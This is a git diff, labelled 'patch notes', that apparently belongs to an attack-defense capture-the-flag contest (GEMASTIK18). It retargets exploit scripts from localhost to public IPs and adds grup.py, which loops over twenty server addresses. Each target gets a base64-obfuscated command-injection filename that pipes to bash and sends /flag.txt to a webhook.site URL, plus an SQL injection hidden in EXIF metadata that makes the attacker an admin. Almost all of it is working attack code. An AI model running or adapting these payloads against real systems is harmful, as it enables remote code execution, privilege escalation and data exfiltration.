added patch notes

services/blogpost/exploits/exp1.py

@@ -4,7 +4,7 @@ from pathlib import Path
 import random
 import string
 
-HOST = "http://localhost:4400"
+HOST = "http://54.179.69.160:10000"
 REGISTER_URL = HOST + "/register"
 LOGIN_URL = HOST + "/login"
 CREATE_URL = HOST + "/create"
@@ -19,7 +19,7 @@ def generate_random_string(length=8):
 USERNAME = generate_random_string()
 PASSWORD = generate_random_string()
 # choose payload variant: either use subshell $() or backticks `...`
-filename_payload = "tes.png; echo 'cHl0aG9uMyAtYyAiaW1wb3J0IHVybGxpYi5yZXF1ZXN0OyB1cmxsaWIucmVxdWVzdC51cmxvcGVuKCdodHRwczovL3dlYmhvb2suc2l0ZS9hMmJlOTU2NS0zZGZhLTRjZmEtODAyYy01NDk4NTI5ZTViMGYnLCBkYXRhPW9wZW4oJy9mbGFnLnR4dCcsICdyYicpLnJlYWQoKSki=' | base64 -d | bash;#.jpg"
+filename_payload = "tes.png; echo 'cHl0aG9uMyAtYyAiaW1wb3J0IHVybGxpYi5yZXF1ZXN0OyB1cmxsaWIucmVxdWVzdC51cmxvcGVuKCdodHRwczovL3dlYmhvb2suc2l0ZS9hNDM1ZDdhZS02ZDIzLTQwY2ItYTllNy00ZjgwMzk2YzYwNWMnLCBkYXRhPW9wZW4oJy9mbGFnLnR4dCcsICdyYicpLnJlYWQoKSki=' | base64 -d | bash;#.jpg"
 
 # choose which to use:
 filename_payload = filename_payload  # or payload_backticks
@@ -33,6 +33,7 @@ if r.status_code != 200:
     exit(1)
 else:
     print(f"Registered user: {USERNAME}")
+    print(f"Registered PASSWORD: {PASSWORD}")
 
 r = s.post(LOGIN_URL, data={"username": USERNAME, "password": PASSWORD})
 if r.status_code != 200:

services/blogpost/exploits/exp2.py

@@ -7,7 +7,7 @@ from pathlib import Path
 
 print("SQLi (VULN 2) Exploit")
 
-HOST = "http://localhost:4400"
+HOST = "http://54.179.69.160:10000"
 REGISTER_URL = HOST + "/register"
 LOGIN_URL = HOST + "/login"
 CREATE_URL = HOST + "/create"
@@ -46,6 +46,7 @@ if r.status_code != 200:
     exit(1)
 else:
     print(f"Registered user: {USERNAME}")
+    print(f"Registered PASSWORD: {PASSWORD}")
 
 # 3) Login with the new user
 r = s.post(LOGIN_URL, data={"username": USERNAME, "password": PASSWORD})
@@ -86,7 +87,7 @@ else:
 # 6) Visit the profile page and search for the flag
 r = s.get(PROFILE_URL)
 print("Profile page status:", r.status_code)
-flag_pattern = r"GEMASTIK\{.*?\}"
+flag_pattern = r"GEMASTIK18\{.*?\}"
 flag = re.search(flag_pattern, r.text)
 if flag:
     print("Flag found:", flag.group(0))

services/blogpost/exploits/grup.py

@@ -0,0 +1,133 @@
+#!/usr/bin/env python3
+import requests
+import random
+import string
+import re
+import subprocess
+from pathlib import Path
+
+# List of server IPs to test
+SERVERS = [
+    "54.179.69.160", "47.128.239.219", "18.141.25.211", "13.250.48.226",
+    "52.221.249.62", "52.221.188.80", "13.213.42.191", "54.169.118.58",
+    "18.141.209.30", "54.169.155.68", "3.0.177.253", "13.250.47.208",
+    "47.129.37.150", "3.1.222.146", "13.229.198.100", "54.151.150.157",
+    "13.229.207.1", "18.136.107.63", "52.77.233.125", "18.141.184.213"
+]
+PORT = "10000"
+
+# Generate random username and password
+def generate_random_string(length=8):
+    return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))
+
+# Command injection payload
+CMD_PAYLOAD = "tes.png; echo 'cHl0aG9uMyAtYyAiaW1wb3J0IHVybGxpYi5yZXF1ZXN0OyB1cmxsaWIucmVxdWVzdC51cmxvcGVuKCdodHRwczovL3dlYmhvb2suc2l0ZS9hNDM1ZDdhZS02ZDIzLTQwY2ItYTllNy00ZjgwMzk2YzYwNWMnLCBkYXRhPW9wZW4oJy9mbGFnLnR4dCcsICdyYicpLnJlYWQoKSki=' | base64 -d | bash;#.jpg"
+
+# SQLi payload
+SQLI_PAYLOAD = "a'; UPDATE users SET role='admin' WHERE username='{}';--"
+
+# Local image files
+CMD_IMAGE = "test.png"  # For command injection
+SQLI_IMAGE = "sqli.png"  # For SQLi
+
+def exploit_server(host):
+    print(f"\nTesting server: {host}")
+    BASE_URL = f"http://{host}:{PORT}"
+    REGISTER_URL = BASE_URL + "/register"
+    LOGIN_URL = BASE_URL + "/login"
+    CREATE_URL = BASE_URL + "/create"
+    HOME_URL = BASE_URL + "/"
+    PROFILE_URL = BASE_URL + "/profile"
+
+    # Generate credentials
+    USERNAME = generate_random_string()
+    PASSWORD = generate_random_string()
+    print(f"Generated credentials: Username={USERNAME}, Password={PASSWORD}")
+
+    s = requests.Session()
+
+    # Step 1: Register a new user
+    r = s.post(REGISTER_URL, data={"username": USERNAME, "password": PASSWORD})
+    if r.status_code != 200:
+        print(f"Registration failed on {host}. Status: {r.status_code}")
+        return False
+    print(f"Registered user: {USERNAME}")
+
+    # Step 2: Log in
+    r = s.post(LOGIN_URL, data={"username": USERNAME, "password": PASSWORD})
+    if r.status_code != 200:
+        print(f"Login failed on {host}. Status: {r.status_code}")
+        return False
+    print(f"Logged in. Cookies: {s.cookies.get_dict()}")
+
+    # Step 3: Command injection via filename
+    cmd_img_path = Path(CMD_IMAGE)
+    if not cmd_img_path.exists():
+        print(f"Command injection image {CMD_IMAGE} not found")
+        return False
+
+    with open(cmd_img_path, "rb") as fh:
+        files = {"image": (CMD_PAYLOAD, fh, "image/jpeg")}
+        data = {"title": "Command Injection Payload", "content": "CTF attempt"}
+        r = s.post(CREATE_URL, data=data, files=files)
+        print(f"Command injection upload status on {host}: {r.status_code}")
+        print(f"Upload response: {r.text[:800]}")
+
+    # Step 4: SQL injection via image metadata
+    sqli_img_path = Path(SQLI_IMAGE)
+    if not sqli_img_path.exists():
+        print(f"SQLi image {SQLI_IMAGE} not found")
+        return False
+
+    try:
+        subprocess.run([
+            "exiftool",
+            "-overwrite_original",
+            f"-Comment={SQLI_PAYLOAD.format(USERNAME)}",
+            SQLI_IMAGE
+        ], check=True)
+        print(f"Modified {SQLI_IMAGE} with SQLi payload")
+    except subprocess.CalledProcessError as e:
+        print(f"Failed to modify {SQLI_IMAGE} with exiftool: {e}")
+        return False
+
+    with open(sqli_img_path, "rb") as fh:
+        files = {"image": (SQLI_IMAGE, fh, "image/png")}
+        data = {"title": "SQLi Exploit", "content": "Testing SQLi payload"}
+        r = s.post(CREATE_URL, data=data, files=files)
+        print(f"SQLi upload status on {host}: {r.status_code}")
+
+    # Step 5: Get home page to find newest post ID
+    r = s.get(HOME_URL)
+    print(f"Home page status on {host}: {r.status_code}")
+    post_ids = re.findall(r'/post/(\d+)', r.text)
+    if post_ids:
+        max_id = max(map(int, post_ids))
+        print(f"Newest post ID: {max_id}")
+    else:
+        print(f"No post IDs found on {host}")
+        return False
+
+    # Step 6: Check profile for flag
+    r = s.get(PROFILE_URL)
+    print(f"Profile page status on {host}: {r.status_code}")
+    flag_pattern = r"GEMASTIK18\{.*?\}"
+    flag = re.search(flag_pattern, r.text)
+    if flag:
+        print(f"Flag found on {host}: {flag.group(0)}")
+        return True
+    else:
+        print(f"Flag not found on {host}")
+        return False
+
+def main():
+    print("Starting CTF Exploit")
+    for host in SERVERS:
+        success = exploit_server(host)
+        if success:
+            print(f"Exploit succeeded on {host}")
+        else:
+            print(f"Exploit failed on {host}")
+
+if __name__ == "__main__":
+    main()